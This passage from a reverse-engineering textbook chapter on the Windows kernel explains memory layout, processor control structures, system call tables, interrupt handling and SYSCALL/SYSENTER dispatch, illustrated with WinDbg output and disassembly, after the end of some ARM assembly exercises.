51: 32 19         ADDS     R2, R6, R4
52: 33 51         STR      R3, [R6,R4]
53: 01 9B         LDR      R3, [SP,#0x1C+var_18]
54: 08 34         ADDS     R4, #8
55: 53 60         STR      R3, [R2,#4]

56:      loc_10107C0
57: 20 46         MOV      R0, R4
58: 04 B0         ADD      SP, SP, #0x10
59: 37 F0 A4 F9   BL              __security_pop_cookie
60: BD E8 70 88   POP.W    {R4–R6,R11,PC}
61:             ; End of function mystery10

Figure 2-16
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01: 010185B0             mystery11
02: 010185B0 2D E9 F8 4F   PUSH.W   {R3–R11,LR}
03: 010185B4 0D F2 20 0B   ADDW     R11, SP, #0x20
04: 010185B8 B0 F9 5A 30   LDRSH.W  R3, [R0,#0x5A]
05: 010185BC 07 46         MOV      R7, R0
06: 010185BE 90 46         MOV      R8, R2
07: 010185C0 00 EB 83 03   ADD.W    R3, R0, R3,LSL#2
08: 010185C4 D3 F8 84 A0   LDR.W    R10, [R3,#0x84]
09: 010185C8 7B 8F         LDRH     R3, [R7,#0x3A]
10: 010185CA 89 46         MOV      R9, R1
11: 010185CC CB B9         CBNZ     R3, loc_1018602

12: 010185CE B0 F9 5A 40   LDRSH.W  R4, [R0,#0x5A]
13: 010185D2 17 F1 20 02   ADDS.W   R2, R7, #0x20
14: 010185D6 00 EB 44 03   ADD.W    R3, R0, R4,LSL#1
15: 010185DA B3 F8 5C 50   LDRH.W   R5, [R3,#0x5C]
16: 010185DE 00 EB 84 03   ADD.W    R3, R0, R4,LSL#2
17: 010185E2 D3 F8 84 00   LDR.W    R0, [R3,#0x84]
18: 010185E6 83 89         LDRH     R3, [R0,#0xC]
19: 010185E8 06 6C         LDR      R6, [R0,#0x40]
20: 010185EA 03 EB 45 03   ADD.W    R3, R3, R5,LSL#1
21: 010185EE 9B 19         ADDS     R3, R3, R6
22: 010185F0 1C 78         LDRB     R4, [R3]
23: 010185F2 5B 78         LDRB     R3, [R3,#1]
24: 010185F4 43 EA 04 24   ORR.W    R4, R3, R4,LSL#8
25: 010185F8 43 8A         LDRH     R3, [R0,#0x12]
26: 010185FA 23 40         ANDS     R3, R4
27: 010185FC 99 19         ADDS     R1, R3, R6
28: 010185FE FD F7 8D FF   BL       sub_101651C

29: 01018602      loc_1018602
30: 01018602 BA 8E         LDRH     R2, [R7,#0x34]
31: 01018604 BB 6A         LDR      R3, [R7,#0x28]
32: 01018606 D0 18         ADDS     R0, R2, R3
33: 01018608 9A F8 02 30   LDRB.W   R3, [R10,#2]
34: 0101860C 0B B1         CBZ      R3, loc_1018612

35: 0101860E 00 22         MOVS     R2, #0
36: 01018610 00 E0         B        loc_1018614

37: 01018612      loc_1018612
38: 01018612 3A 6A         LDR      R2, [R7,#0x20]

39: 01018614      loc_1018614
40: 01018614 FB 8E         LDRH     R3, [R7,#0x36]
41: 01018616 B8 F1 00 0F   CMP.W    R8, #0
42: 0101861A 01 D0         BEQ      loc_1018620

43: 0101861C 80 18         ADDS     R0, R0, R2
44: 0101861E 9B 1A         SUBS     R3, R3, R2

45: 01018620      loc_1018620
46: 01018620 C9 F8 00 30   STR.W    R3, [R9]
47: 01018624 BD E8 F8 8F   POP.W    {R3–R11,PC}
48: 01018624             ; End of function mystery11

Figure 2-17
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This chapter discusses the principles and techniques necessary for analyzing 

kernel-mode driver code, such as rootkits, on the Windows platform. Because 

drivers interact with the OS through well-defi ned interfaces, the analytical task 

can be decomposed into the following general objectives:

 ■ Understand how core OS components are implemented

 ■ Understand the structure of a driver

 ■ Understand the user-driver and driver-OS interfaces and how Windows 

implements them

 ■ Understand how certain driver software constructs are manifested in 

binary form

 ■ Systematically apply knowledge from the previous steps in the general 

reverse engineering process

C H A P T E R 

3

The Windows Kernel
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If the process of reverse engineering Windows drivers could be modeled as a 

discrete task, 90% would be understanding how Windows works and 10% would 

be understanding assembly code. Hence, the chapter is written as an introduction 

to the Windows kernel for reverse engineers. It begins with a discussion of the 

user-kernel interfaces and their implementation. Next, it discusses linked lists 

and how they are used in Windows. Then it explains concepts such as threads, 

processes, memory, interrupts, and how they are used in the kernel and drivers. 

After that it goes into the architecture of a kernel-mode driver and the driver-

kernel programming interface. It concludes by applying these concepts to the 

reverse engineering of a rootkit.

Unless specifi ed otherwise, every example in this chapter is taken from 

Windows 8 RTM.

Windows Fundamentals

We begin with a discussion of core Windows kernel concepts, including fun-

damental data structures and kernel objects relevant to driver programming 

and reverse engineering.

Memory Layout

Like many operating systems, Windows divides the virtual address space 

into two portions: kernel and user space. On x86 and ARM, the upper 2GB is 

reserved for the kernel and the bottom 2GB is for user processes. Hence, virtual 

addresses from 0 to 0x7fffffff are in user space, 0x80000000 and above are in 

kernel space. On x64, the same concept applies except that user space is from 0 

to 0x000007ff`ffffffff and kernel space is 0xffff0800`00000000 and above. 

Figure 3-1 illustrates the general layout on x86 and x64. The kernel memory space 

is mostly the same in all processes. However, running processes only have access 

to their user address space; kernel-mode code can access both. (Some kernel 

address ranges, such as those in session and hyper space, vary from process to 

process.) This is an important fact to keep in mind because we will come back 

to it later when discussing execution context. Kernel- and user-mode pages are 

distinguished by a special bit in their page table entry.

When a thread in a process is scheduled for execution, the OS changes a 

processor-specifi c register to point to the page directory for that particular 

process. This is so that all virtual-to-physical address translations are specifi c 

to the process and not others. This is how the OS can have multiple processes 

and each one has the illusion that it owns the entire user-mode address space. 

On x86 and x64 architectures, the page directory base register is CR3; on ARM 

it is the translation table base register (TTBR).
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0xffffffff

0xffffffff'ffffffff

0xffff0800'00000000

0x00000000'00000000

0x7ffeffff

0x000007ff'fffeffff

0x80000000

0x00000000

kernel

user

x86 x64

kernel

user

Figure 3-1

N O T E  It is possible to change this default behavior by specifying the /3GB switch in 

the boot options. With /3GB, the user address space increases to 3GB and the remain-

ing 1GB is for the kernel.

 The user/kernel address ranges are stored in two symbols in the kernel: 

MmSystemRangeStart (kernel) and MmHighestUserAddress (user). These 

symbols can be viewed with a kernel debugger. You may notice that there is a 64KB 

gap between user/kernel space on x86/ARM. This region, usually referred to as the 

no-access  region, is there so that the kernel does not accidentally cross the address 

boundary and corrupt user-mode memory. On x64, the astute reader may notice that 

0xffff0800`00000000 is a non-canonical address and hence unusable by the 

operating system. This address is really only used as a separator between user/kernel 

space. The fi rst usable address in kernel space starts at 0xffff8000`00000000.

Processor Initialization

When the kernel boots up, it performs some basic initialization for each proces-

sor. Most of the initialization details are not vital for daily reverse engineering 

tasks, but it is important to know a few of the core structures.

The processor control region (PCR) is a per-processor structure that stores critical 

CPU information and state. For example, on x86 it contains the base address of 

the IDT and current IRQL. Inside the PCR is another data structure called the 

processor region control block (PRCB). It is a per-processor structure that contains 

information about the processor—i.e., CPU type, model, speed, current thread 
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that it is running, next thread to run, queue of DPCs to run, and so on. Like 

the PCR, this structure is undocumented, but you can still view its defi nition 

with the kernel debugger:

x64 (x86 is similar)

PCR

0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
...
   +0x180 Prcb             : _KPRCB

PRCB

0: kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD
   +0x010 NextThread       : Ptr64 _KTHREAD
   +0x018 IdleThread       : Ptr64 _KTHREAD 
...   
   +0x040 ProcessorState   : _KPROCESSOR_STATE
   +0x5f0 CpuType          : Char
   +0x5f1 CpuID            : Char
   +0x5f2 CpuStep          : Uint2B
   +0x5f2 CpuStepping      : UChar
   +0x5f3 CpuModel         : UChar
   +0x5f4 MHz              : Uint4B
...
   +0x2d80 DpcData          : [2] _KDPC_DATA
   +0x2dc0 DpcStack         : Ptr64 Void
   +0x2dc8 MaximumDpcQueueDepth : Int4B
...

ARM

PCR

0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 TibPad0          : [2] Uint4B
   +0x008 Spare1           : Ptr32 Void
   +0x00c Self             : Ptr32 _KPCR
   +0x010 CurrentPrcb      : Ptr32 _KPRCB
...
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PRCB

0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 TibPad0          : [2] Uint4B
   +0x008 Spare1           : Ptr32 Void
   +0x00c Self             : Ptr32 _KPCR
   +0x010 CurrentPrcb      : Ptr32 _KPRCB
...
0: kd> dt nt!_KPRCB
   +0x000 LegacyNumber     : UChar
   +0x001 ReservedMustBeZero : UChar
   +0x002 IdleHalt         : UChar
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
...
   +0x020 ProcessorState   : _KPROCESSOR_STATE
   +0x3c0 ProcessorModel   : Uint2B
   +0x3c2 ProcessorRevision : Uint2B
   +0x3c4 MHz              : Uint4B
...
   +0x690 DpcData          : [2] _KDPC_DATA
   +0x6b8 DpcStack         : Ptr32 Void
...
   +0x900 InterruptCount   : Uint4B
   +0x904 KernelTime       : Uint4B
   +0x908 UserTime         : Uint4B
   +0x90c DpcTime          : Uint4B
   +0x910 InterruptTime    : Uint4B
...

The PCR for a current processor is always accessible from kernel-mode through 

special registers. It is stored in the FS segment (x86), GS segment (x64), or one of 

the system coprocessor registers (ARM). For example, the Windows kernel exports 

two routines to get the current EPROCESS and ETHREAD: PsGetCurrentProcess 

and PsGetCurrentThread. These routines work by querying the PCR/PRCB:

PsGetCurrentThread proc near

  mov     rax, gs:188h   ; gs:[0] is the PCR, offset 0x180 is the PRCB,

                         ; offset 0x8 into the PRCB is the CurrentThread 

field

  retn

PsGetCurrentThread endp

PsGetCurrentProcess proc near

  mov     rax, gs:188h    ; get current thread (see above)

  mov     rax, [rax+0B8h] ; offset 0x70 into the ETHREAD is the associated

                          ; process(actually ETHREAD.ApcState.Process)

  retn

PsGetCurrentProcess endp
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System Calls

An operating system manages hardware resources and provides interfaces 

through which users can request them. The most commonly used interface is the 

system call. A system call is typically a function in the kernel that services I/O 

requests from users; it is implemented in the kernel because only high-privilege 

code can manage such resources. For example, when a word processor saves a 

fi le to disk, it fi rst needs to request a fi le handle from the kernel, writes to the 

fi le, and then commits the fi le content to the hard disk; the OS provides system 

calls to acquire a fi le handle and write bytes to it. While these appear to be 

simple operations, the system calls must perform many important tasks in the 

kernel to service the request. For example, to get a fi le handle, it must interact 

with the fi le system (to determine whether the path is valid or not) and then 

ask the security manager to determine whether the user has suffi cient rights 

to access the fi le; to write bytes to the fi le, the kernel needs to fi gure out which 

hard drive volume the fi le is on, send the request to the volume, and package 

the data into a structure understood by the underlying hard-drive controller. 

All these operations are done with complete transparency to the user.

The Windows system call implementation details are offi cially undocumented, 

so it is worth exploring for intellectual and pedagogical reasons. While the 

implementation varies between processors, the concepts remain the same. We 

will fi rst explain the concepts and then discuss the implementation details on 

x86, x64, and ARM.

Windows describes and stores system call information with two data struc-

tures: a service table descriptor and an array of function pointers/offsets. The 

service table descriptor is a structure that holds metadata about system calls 

supported by the OS; its defi nition is offi cially undocumented, but many people 

have reverse engineered its important fi eld members as follows. (You can also 

fi gure out these fi elds by analyzing the KiSystemCall64 or KiSystemService 

routines.)

typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
  PULONG Base; // array of addresses or offsets
  PULONG Count;
  ULONG Limit; // size of the array
  PUCHAR Number;
  ...
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

Base is a pointer to an array of function pointers or offsets (depending on the 

processor); a system call number is an index into this array. Limit is the number of 

entries in the array. The kernel keeps two global arrays of KSERVICE_DESCRIPTOR_

DESCRIPTOR: KeServiceDescriptorTable and KeServiceDescriptorTableShadow. 

The former contains the native syscall table; the latter contains the same data, in 

addition to the syscall table for GUI threads. The kernel also keeps two global 
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pointers to the arrays of addresses/offsets: KiServiceTable points to the non-GUI 

syscall table and W32pServiceTable points to the GUI one. Figure 3-2 illustrates 

how these data structures are related to each other on x86.

Base

Function 1
Function 2
Function 3

Count

Limit

Number

Base

Count

Limit

Base

Count

Limit

[0]
[1]

[Limit - 1]

…

…

…

…

Function 1

KiServiceTable

W32pServiceTable

Function 2

Function 3

…

Function 1

Function 2

Function 3

…

KeServiceDescriptorTable

KiServiceTable

KeServiceDescriptorTableShadow

Figure 3-2

On x86, the Base fi eld is an array of function pointers for the syscalls:

0: kd> dps nt!KeServiceDescriptorTable
81472400  813564d0 nt!KiServiceTable    ; Base
81472404  00000000
81472408  000001ad
8147240c  81356b88 nt!KiArgumentTable
0: kd> dd nt!KiServiceTable
813564d0  81330901 812cf1e2 81581540 816090af
813564e0  815be478 814b048f 8164e434 8164e3cb
813564f0  812dfa09 814e303f 814a0830 81613a9f
81356500  814e5b65 815b9e3a 815e0c4e 8158ce33
...
0: kd> dps nt!KiServiceTable
813564d0  81330901 nt!NtWorkerFactoryWorkerReady
813564d4  812cf1e2 nt!NtYieldExecution
813564d8  81581540 nt!NtWriteVirtualMemory
813564dc  816090af nt!NtWriteRequestData
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813564e0  815be478 nt!NtWriteFileGather
813564e4  814b048f nt!NtWriteFile

However, on x64 and ARM, it is an array of 32-bit integers which encodes the 

system call offset and number of arguments passed on the stack. The offset is 

contained in the top 20 bits, and the number of arguments on the stack is con-

tained in the bottom 4 bits. The offset is added to the base of KiServiceTable 

to get the real address of the syscall. For example:

0: kd> dps nt!KeServiceDescriptorTable

fffff803`955cd900  fffff803`952ed200 nt!KiServiceTable   ; Base

fffff803`955cd908  00000000`00000000

fffff803`955cd910  00000000`000001ad

fffff803`955cd918  fffff803`952edf6c nt!KiArgumentTable

0: kd> u ntdll!NtCreateFile

ntdll!NtCreateFile:

000007f8`34f23130 mov     r10,rcx

000007f8`34f23133 mov     eax,53h ; syscall number

000007f8`34f23138 syscall

...

0: kd> x nt!KiServiceTable

fffff803`952ed200 nt!KiServiceTable (<no parameter info>)

0: kd> dd nt!KiServiceTable + (0x53*4) L1

fffff803`952ed34c  03ea2c07       ; encoded offset and number of arguments

0: kd> u nt!KiServiceTable + (0x03ea2c07>>4) ; get the offset and add it to 

Base

nt!NtCreateFile:

fffff803`956d74c0 sub     rsp,88h

fffff803`956d74c7 xor     eax,eax

fffff803`956d74c9 mov     qword ptr [rsp+78h],rax

fffff803`956d74ce mov     dword ptr [rsp+70h],20h

0: kd> ? 0x03ea2c07 & 0xf         ; number of arguments

Evaluate expression: 7 = 00000000`00000007

; NtCreateFile takes 11 arguments. The first 4 are passed via registers and

; the last 7 are passed on the stack

As demonstrated, every system call is identifi ed by a number that is an index 

into KiServiceTable or W32pServiceTable. At the lowest level, user-mode APIs 

decompose to one or more system calls. 

Conceptually, this is how system calls work on Windows. The implementation 

details vary depending on processor architecture and platform. System calls 

are typically implemented through software interrupts or architecture-specifi c 

instructions, the details of which are covered in the following sections.

Faults, Traps, and Interrupts

In preparation for the next sections, we need to introduce some basic terminol-

ogy to explain how peripheral devices and software interact with the processor. 

In contemporary computing systems, the processor is typically connected to 
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peripheral devices through a data bus such as PCI Express, FireWire, or USB. 

When a device requires the processor’s attention, it causes an interrupt that forces 

the processor to pause whatever it is doing and handle the device’s request. 

How does the processor know how to handle the request? At the highest level, 

one can think of an interrupt as being associated with a number that is then 

used to index into an array of function pointers. When the processor receives 

the interrupt, it executes the function at the index associated with the request 

and resumes execution wherever it was before the interrupt occurred. These 

are called hardware interrupts because they are generated by hardware devices. 

They are asynchronous by nature.

When the processor is executing an instruction, it may run into exceptions. 
For example, the instruction causes a divide-by-zero error, references an invalid 

address, or triggers privilege-level transition. For the purpose of this discussion, 

exceptions can be classifi ed into two categories: faults and traps. A fault is a cor-

rectable exception. For example, when the processor executes an instruction that 

references a valid memory address but the data is not present in main memory 

(it was paged out), a page fault exception is generated. The processor handles this 

by saving the current execution state, calls the page fault handler to correct this 

exception (by paging in the data), and re-executes the same instruction (which 

should no longer cause a page fault). A trap is an exception caused by execut-

ing special kinds of instructions. For example, on x64, the instruction SYSCALL 

causes the processor to begin executing at an address specifi ed by an MSR; 

after the handler is done, execution is resumed at the instruction immediately 

after SYSCALL. Hence, the major difference between a fault and a trap is where 

execution resumes. System calls are commonly implemented through special 

exceptions or trap instructions.

Interrupts

The Intel architecture defi nes an interrupt descriptor table (IDT) with 256 entries; 

each entry is a structure with information defi ning the interrupt handler. The 

base address of the IDT is stored in a special register called IDTR. An interrupt is 

associated with an index into this table. There are predefi ned interrupts reserved 

by the architecture. For example, 0x0 is for division exception, 0x3 is for soft-

ware breakpoint, and 0xe is for page faults. Interrupts 32–255 are user-defi ned.

On x86, each entry in the IDT table is an 8-byte structure defi ned as follows:

1: kd> dt nt!_KIDTENTRY
   +0x000 Offset           : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 Access           : Uint2B
   +0x006 ExtendedOffset   : Uint2B

(On x64, the IDT entry structure is mostly the same except that the interrupt 

handler’s address is divided into three members. You can see it by dumping 
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the nt!_KIDTENTRY64 structure. Also note that the IDTR is 48 bits in width and 

divided into two parts: IDT base address and limit. WinDBG displays only the 

base address.)

The interrupt handler’s address is split between the Offset and ExtendedOffset 

fi elds. Here is an example decoding the IDT and disassembling the divide-by-

zero interrupt handler (0x0):

1: kd> r @idtr
idtr=8b409d50
1: kd> dt nt!_KIDTENTRY 8b409d50
   +0x000 Offset           : 0xa284
   +0x002 Selector         : 8
   +0x004 Access           : 0x8e00
   +0x006 ExtendedOffset   : 0x813c
1: kd> u 0x813ca284
nt!KiTrap00:
813ca284 push    0
813ca286 mov     word ptr [esp+2],0
813ca28d push    ebp
813ca28e push    ebx

Figure 3-3 illustrates the IDT on x86.

nt!KiUnexpectedInterrupt207
push    0FFh
jmp     nt!KiEndUnexpectedRange
nt!KiEndUnexpectedRange:
jmp     dword ptr cs:[nt!KiEndUnexpectedRange+0x7]
xchg    eax,edi
pushfd
mov     byte ptr [edx+7510F983h],al
cmp     eax,25E85352h
...

_KIDT_ENTRY

_KIDT_ENTRY

_KIDT_ENTRY

_KIDT_ENTRY

_KIDT_ENTRY

…

0

1

2

3

ff

.

nt!KiTrap00
push 0
mov  word ptr [esp+2],0
push ebp
push ebx
...

nt!KiTrap03
push 0
mov  word ptr [esp+2],0
push ebp
push ebx
...

Figure 3-3

On pre-Pentium 2 processors, Windows uses interrupt 0x2e to implement 

system calls. User-mode programs call APIs in kernel32.dll (or kernelbase.dll), 
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which eventually resolve to short stubs in ntdll.dll that trigger interrupt 0x2e. 

To illustrate, consider the following snippet from the kernelbase!CreateFileW 

API routine on Windows 7:

[inside kernelbase!CreateFileW]
...
.text:0DCE9C87 mov ecx, [ebp+dwFlagsAndAttributes]
.text:0DCE9C8A push [ebp+lpSecurityAttributes]
.text:0DCE9C8D mov eax, [ebp+dwDesiredAccess]
.text:0DCE9C90 push [ebp+lpFileName]
.text:0DCE9C93 mov esi, ds:__imp__NtCreateFile@44
.text:0DCE9C99 push [ebp+var_4]
.text:0DCE9C9C and ecx, 7FA7h
.text:0DCE9CA2 push [ebp+dwShareMode]
.text:0DCE9CA5 mov [ebp+dwFlagsAndAttributes], ecx
.text:0DCE9CA8 push ecx
.text:0DCE9CA9 push ebx
.text:0DCE9CAA lea ecx, [ebp+var_20]
.text:0DCE9CAD push ecx
.text:0DCE9CAE or eax, 100080h
.text:0DCE9CB3 lea ecx, [ebp+var_64]
.text:0DCE9CB6 push ecx
.text:0DCE9CB7 push eax
.text:0DCE9CB8 mov [ebp+dwDesiredAccess], eax
.text:0DCE9CBB lea eax, [ebp+var_8]
.text:0DCE9CBE push eax
.text:0DCE9CBF call esi ; NtCreateFile(...)

It does some preliminary validation (not shown here) and then calls 

ntdll!NtCreateFile. The implementation for that is as follows:

[ntdll!NtCreateFile]

.text:77F04A10 _NtCreateFile@44 proc near

.text:77F04A10 mov eax, 42h ; syscall #

.text:77F04A15 mov edx, 7FFE0300h ; KUSER_SHARED_DATA.SystemCall

; the symbol for 0x7ffe0300 is SharedUserData!SystemCallStub

.text:77F04A1A call dword ptr [edx] ; call handler

.text:77F04A1C retn 2Ch ; return back to caller

.text:77F04A1C _NtCreateFile@44 endp

NtCreateFile sets EAX to 0x42 because that’s the system call number for 

NtCreateFile in the kernel. Next, it reads a pointer at 0x7ffe0300 and calls it. 

What is special about 0x7ffe0300? On all architectures, there is a per-process 

structure called KUSER_SHARED_DATA that is always mapped at 0x7ffe0000. It 

contains some generic information about the system and a fi eld called SystemCall:

0:000> dt ntdll!_KUSER_SHARED_DATA
   +0x000 TickCountLowDeprecated : Uint4B
   +0x004 TickCountMultiplier : Uint4B
   +0x008 InterruptTime : _KSYSTEM_TIME
   +0x014 SystemTime : _KSYSTEM_TIME
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   +0x020 TimeZoneBias : _KSYSTEM_TIME
   ...
   +0x2f8 TestRetInstruction : Uint8B
   +0x300 SystemCall : Uint4B ; syscall handler
   +0x304 SystemCallReturn : Uint4B
   ...

When disassembling the system call stub, you see this:

0:000> u poi(SharedUserData!SystemCallStub)
ntdll!KiIntSystemCall:
76e46500 lea edx,[esp+8]
76e46504 int 2Eh
76e46506 ret
76e46507 nop

Dumping the IDT entry at index 0x2e shows that KiSystemService is the 

system call dispatcher:

0: kd> !idt 0x2e
Dumping IDT: ...
2e: 8284b22e nt!KiSystemService
0: kd> u nt!KiSystemService
nt!KiSystemService:
8284b22e push 0
8284b230 push ebp
8284b231 push ebx
8284b232 push esi
8284b233 push edi
8284b234 push fs
8284b236 mov ebx,30h
...

The details of the system call dispatcher are covered in the next section.

Traps

The previous section explains how system calls are implemented with the 

built-in interrupt processing mechanism. This section explains how they are 

implemented through trap instructions on x64, x86, and ARM.

Beginning with the implementation on x64, consider the system call stub 

ntdll!NtCreateFile:

01: .text:00000001800030F0   public ZwCreateFile
02: .text:00000001800030F0 ZwCreateFile proc near
03: .text:00000001800030F0   mov     r10, rcx    
04: .text:00000001800030F3   mov     eax, 53h
05: .text:00000001800030F8   syscall
06: .text:00000001800030FA   retn
07: .text:00000001800030FA ZwCreateFile endp
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Line 3 saves the fi rst argument to R10; it has to do this because SYSCALL’s 

semantic dictates that the return address (line 6) must be stored in RCX. Line 4 

saves the system call number in EAX; once SYSCALL transitions to kernel mode, it 

will use this as an index into the KiServiceTable array. Line 5 executes SYSCALL 

which transitions to kernel mode. How does it do this? The documentation for 

SYSCALL specifi es that RIP will be loaded with a value defi ned by the IA32_LSTAR 

MSR (0xc0000082), and you can observe it in the debugger:

1: kd> rdmsr 0xC0000082
msr[c0000082] = fffff800`89e96dc0
1: kd> u fffff800`89e96dc0
nt!KiSystemCall64:
fffff800`89e96dc0 swapgs
fffff800`89e96dc3 mov     qword ptr gs:[10h],rsp
fffff800`89e96dcc mov     rsp,qword ptr gs:[1A8h]
fffff800`89e96dd5 push    2Bh
fffff800`89e96dd7 push    qword ptr gs:[10h]
fffff800`89e96ddf push    r11

This kernel debugger output indicates that SYSCALL will always end up execut-

ing KiSystemCall64 in the kernel. In fact, KiSystemCall64 is the main system call 

dispatcher in x64 Windows. Windows sets the IA32 LSTAR MSR to KiSystemCall64 

early in the processor initialization process (see KiInitializeBootStructures). 

It is primarily responsible for saving the user-mode context, setting up a kernel 

stack, copying the user-mode arguments to the kernel stack, determining the 

system call in KiServiceTable (or W32pServiceTable) using the index passed 

in from EAX, invoking the system call, and returning to user mode. How does 

the syscall dispatcher know where to return in user mode? Recall that SYSCALL 

saves the return address in RCX. After the system call fi nishes its work and 

returns, the system call dispatcher uses the SYSRET instruction, which sets RIP 

to RCX so it goes back to user mode.

While KiSystemCall64 supports many functionalities (syscall profi ling, user-

mode scheduling, debugging, etc.), its primary responsibility is to dispatch 

system call requests. In the previous section, we stated that each value in the 

KiServiceTable array encodes an offset to the system call and the number of 

arguments passed on the stack. This can be observed in the following code 

snippet from KiSystemCall64:

01: KiSystemCall64 proc near

02: 

03: var_110= byte ptr -110h

04: 

05:   swapgs

06:   mov     gs:10h, rsp    ; KPCR->UserRsp

07:   mov     rsp, gs:1A8h   ; KPCR->KPRCB->RspBase

08:                          ; setup a new kernel stack
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09:   push    2Bh

10:   push    qword ptr gs:10h ; KPCR->UserRsp

11:   push    r11

12: 

13:   sti                      ; enable interrupts

14:   mov     [rbx+88h], rcx   ; KTHREAD->FirstArgument

15:   mov     [rbx+80h], eax   ; KTHREAD->SystemCallNumber

16: KiSystemServiceStart proc near  

17:   mov     [rbx+90h], rsp   ; KTHREAD->TrapFrame

18:   mov     edi, eax         ; eax = syscall #

19:   shr     edi, 7           ; determine which syscall table

20:   and     edi, 20h

21:   and     eax, 0FFFh     ; index into table (recall 64bit syscall 

encoding)

22: KiSystemServiceRepeat proc near

23:   lea     r10, KeServiceDescriptorTable

24:   lea     r11, KeServiceDescriptorTableShadow

25:   test    dword ptr [rbx+78h], 40h ; determines if it is a GUI thread

26:   cmovnz  r10, r11         ; which table to use?

27:   cmp     eax, [rdi+r10+10h] ; is that syscall table within the table 

Limit?

28:                              ; i.e., KSERVICE_TABLE_DESCRIPTOR.Limit

29:   jnb     case_invalidcallnumber

30:   mov     r10, [rdi+r10]     ; select the right table

31:   movsxd  r11, dword ptr [r10+rax*4] ; get the syscall offset

32:   mov     rax, r11

33:   sar     r11, 4

34:   add     r10, r11   ; add it to the base of the table to get syscall VA

35:   cmp     edi, 20h   ; edi determines which table. here it is used to

                         ; determined if it is a GUI

36:   jnz     short case_nonguirequest

37:   mov     r11, [rbx+0F0h]

38: 

39: KiSystemServiceCopyEnd proc near

40:   test    cs:dword_140356088, 40h

41:   jnz     case_loggingenabled

42:   call    r10        ; invoke the system call

Walking through KiSystemCall64 can be an instructional experience and is 

left as an exercise.

On x86, Windows uses the SYSENTER instruction to implement system calls. 

The mechanics is similar to that of SYSCALL on x64 processors. Before going 

into the implementation, let’s look at the system call stub for ntdll!NtQuery

InformationProcess:

01: _ZwQueryInformationProcess@20 proc near

02:   mov     eax, 0B0h          ; system call number

03:   call    sub_6A214FCD       ; stub

04:   retn    14h    ; clean stack and return. NtQueryInformationProcess 

takes

05:                  ; 5 parameters and they are passed on the stack

                                 ; SYSENTER will return here (see next 

example)
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06: _ZwQueryInformationProcess@20 endp

07: 

08: sub_6A214FCD proc near

09:   mov     edx, esp

10:   sysenter

11:   retn

12: sub_6A214FCD endp

ntdll!NtCreateFile sets the system call number and calls another routine 

that saves the stack pointer in EDX, followed by the SYSENTER instruction. Intel 

documentation states that SYSENTER sets EIP to the value stored in MSR 0x176:

0: kd> rdmsr 0x176
msr[176] = 00000000`80f7d1d0
0: kd> u 00000000`80f7d1d0
nt!KiFastCallEntry:
80f7d1d0 mov     ecx,23h
80f7d1d5 push    30h
80f7d1d7 pop     fs
80f7d1d9 mov     ds,cx
80f7d1db mov     es,cx
80f7d1dd mov     ecx,dword ptr fs:[40h]

The debugger output shows that when the instruction SYSENTER executes, it tran-

sitions to kernel mode and starts executing KiFastCallEntry. KiFastCallEntry 

is the main system call dispatcher on x86 Windows using SYSENTER (think of it 

like KiSystemCall64 on x64). One peculiar characteristic of SYSENTER is that it 

does not save the return address in a register as SYSCALL does. Once the system 

call is complete, how does the kernel know where to return? The answer consists 

of two parts. Using NtQueryInformationProcess again as an example, before 

calling SYSENTER to enter kernel mode, fi rst the sequence of calls looks like this:

    kernel32!GetLogicalDrives ->
ntdll!NtQueryInformationProcess ->
                             stub -> SYSENTER

This means that the return address is already set up on the stack before SYSENTER 

is executed. Immediately before SYSENTER, KiFastSystemCall saves the stack 

pointer in EDX. Second, after SYSENTER, the code transitions to KiFastCallEntry, 

which saves this stack pointer. Once the system call is complete, the syscall dis-

patcher executes the SYSEXIT instruction. By defi nition, SYSEXIT sets EIP to EDX, 

and ESP to ECX; in practice, the kernel sets EDX to ntdll!KiSystemCallRet and 

ECX to the stack pointer before entering the kernel. You can observe this in action 

by setting a breakpoint at the SYSEXIT instruction inside KiSystemCallExit2 

and then viewing the stack from there:

1: kd> r

eax=00000000 ebx=00000000 ecx=029af304 edx=77586954 esi=029af3c0 edi=029afa04

eip=815d0458 esp=a08f7c8c ebp=029af3a8 iopl=0         nv up ei ng nz na pe cy

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000287
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nt!KiSystemCallExit2+0x18:

815d0458 sysexit

1: kd> dps @ecx L5   # SYSEXIT will set ESP to ECX (note the return address)

029af304  77584fca ntdll!NtQueryInformationProcess+0xa   # return address

029af308  775a9628 ntdll!RtlDispatchException+0x7c

029af30c  ffffffff

029af310  00000022

029af314  029af348

1: kd> u 77584fca               

ntdll!NtQueryInformationProcess+0xa:

77584fca ret     14h            # this is line 4 in the last snippet

1: kd> u @edx                   # SYSEXIT will set EIP to EDX

ntdll!KiFastSystemCallRet:

77586954 ret                    # return to 77584fca

After executing KiFastSystemCallRet (which has only one instruction: RET), 

you return to NtQueryInformationProcess.

It is instructive to compare the SYSENTER implementation on Windows 7 and 

8. You will be asked to do this as an exercise.

Windows on ARM uses the SVC instruction to implement system calls. In older 

documentation, SVC may be referred to as SWI, but they are the same opcode. 

Recall that ARM does not have an IDT like x86/x64 but its exception vector table 

has similar functionality:

.text:004D0E00 KiArmExceptionVectors

.text:004D0E00   LDR.W           PC, =0xFFFFFFFF

.text:004D0E04   LDR.W           PC, =(KiUndefinedInstructionException+1)

.text:004D0E08   LDR.W           PC, =(KiSWIException+1)

.text:004D0E0C   LDR.W           PC, =(KiPrefetchAbortException+1)

.text:004D0E10   LDR.W           PC, =(KiDataAbortException+1)

.text:004D0E14   LDR.W           PC, =0xFFFFFFFF

